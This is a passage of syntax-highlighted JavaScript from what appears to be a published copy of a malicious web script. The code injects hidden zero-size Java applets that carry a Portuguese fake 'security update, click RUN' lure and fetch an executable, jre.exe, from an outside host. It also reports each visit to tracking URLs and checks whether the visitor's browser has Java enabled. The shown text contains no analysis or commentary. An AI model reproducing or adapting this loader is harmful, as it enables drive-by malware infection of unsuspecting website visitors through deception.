<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  80:</span>     img.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  81:</span>     <span style="color: #0000ff">return</span> img;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  82:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  83:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  84:</span> <span style="color: #0000ff">function</span> JSM_createSpan(html) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  85:</span>     <span style="color: #0000ff">var</span> span = document.createElement(<span style="color: #006080">'span'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  86:</span>     span.innerHTML = html;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  87:</span>     <span style="color: #0000ff">return</span> span;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  88:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  89:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  90:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  91:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  92:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  93:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  94:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml_X() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  95:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + jsm_applet_url + <span style="color: #006080">'javab.jar?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  96:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  97:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  98:</span> <span style="color: #0000ff">function</span> JSM_onLoad() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  99:</span>     <span style="color: #008000">//report load success</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 100:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_loaded);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 101:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_loaded);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 102:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_loaded);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 103:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 104:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 105:</span> <span style="color: #0000ff">function</span> JSM_onLoadJavaX() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 106:</span>     JSM_createImg(<span style="color: #006080">'http://c.statcounter.com/7455623/0/bd77ea2d/1/'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 107:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 108:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 109:</span> <span style="color: #0000ff">function</span> JSM_onLoadFail() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 110:</span>     <span style="color: #008000">//report load fail</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 111:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_loadfail);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 112:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_loadfail);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 113:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_loadfail);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 114:</span>     <span style="color: #0000ff">if</span> (jsm_applet_index &lt; jsm_applet_count) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 115:</span>         jsm_applet_index++;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 116:</span>         <span style="color: #0000ff">var</span> hBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 117:</span>         <span style="color: #0000ff">if</span> (hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 118:</span>             <span style="color: #0000ff">var</span> html = JSM_getAppletHtml();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 119:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 120:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 121:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 122:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 123:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 124:</span> <span style="color: #0000ff">function</span> JSM_onInit(hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 125:</span>     <span style="color: #008000">//report access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 126:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_access);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 127:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_access);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 128:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_access);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 129:</span>     <span style="color: #0000ff">if</span> (hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 130:</span>         <span style="color: #0000ff">var</span> html = <span style="color: #006080">''</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 131:</span>         <span style="color: #0000ff">if</span> (navigator.javaEnabled()) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 132:</span>             <span style="color: #008000">//java on</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 133:</span>             html = JSM_getAppletHtml() + <span style="color: #006080">' '</span> + JSM_getAppletHtml_X();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 134:</span>             <span style="color: #008000">//report java enabled access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 135:</span>             <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_javaon);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 136:</span>             <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_javaon);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 137:</span>             <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_javaon);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 138:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 139:</span>         } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 140:</span>             <span style="color: #008000">//java off</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 141:</span>             <span style="color: #0000ff">if</span> (<span style="color: #0000ff">typeof</span> window.innerWidth != <span style="color: #006080">'undefined'</span>) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 142:</span>                 viewportwidth = window.innerWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 143:</span>                 viewportheight = window.innerHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 144:</span>             } <span style="color: #0000ff">else</span> <span style="color: #0000ff">if</span> (<span style="color: #0000ff">typeof</span> document.documentElement != <span style="color: #006080">'undefined'</span> &amp;&amp; <span style="color: #0000ff">typeof</span> document.documentElement.clientWidth != <span style="color: #006080">'undefined'</span> &amp;&amp; document.documentElement.clientWidth != 0) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 145:</span>                 viewportwidth = document.documentElement.clientWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 146:</span>                 viewportheight = document.documentElement.clientHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 147:</span>             } <span style="color: #0000ff">else</span> {</pre></p>
